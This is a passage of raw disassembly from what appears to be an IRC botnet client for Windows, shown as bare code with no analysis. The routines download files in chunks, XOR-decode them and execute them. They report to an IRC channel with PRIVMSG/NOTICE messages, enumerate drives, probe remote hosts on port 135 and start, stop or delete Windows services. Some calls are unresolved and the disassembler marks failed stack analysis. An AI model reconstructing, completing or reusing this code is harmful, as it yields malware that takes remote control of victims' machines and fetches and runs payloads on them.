; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+381Eo ; sub_40EE72+3F6Do var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43AD48 call dword_43ACA8 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call near ptr 2670000h nop cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi call near ptr 2610EF3h nop mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43ACB0 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call near ptr 2660000h nop cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_4405F0 push eax call sub_4172B0 add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j call near ptr 2610EF3h nop sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 265089Dh push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43AD0C cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_436EDC push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi nop call near ptr 2780514h cmp eax, edi jnz short loc_40CF6F call dword_43ACF8 call sub_40AC42 push esi nop call near ptr 77E75CB5h loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43ADCC push [ebp+var_48] call sub_417078 pop ecx push esi nop call near ptr 261095Eh sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43F168 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADF8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43AC94 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172B0 pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43AD08 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43AD08 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset aA_0 ; "A:\\" push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4407FC call dword_43AE30 call sub_416F25 call dword_43ACF8 call dword_43ACF8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_436EDC mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 26207EAh nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2680000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2780514h test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43F1A0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43ADD8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43AE18 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43ADE8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43ADE8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43ADB0 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43AE30 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h nop call near ptr 26207A4h locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_43F868 push esi call sub_4172B0 add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_43F868 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172B0 add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43AD8C mov edi, eax cmp edi, ebx jnz short loc_40D7BA nop call near ptr 26702AAh mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43AC80 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 26702AAh mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43ACE8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43AC88 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43ACEC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 nop call near ptr 26702AAh mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43AC9C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43AC9C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add 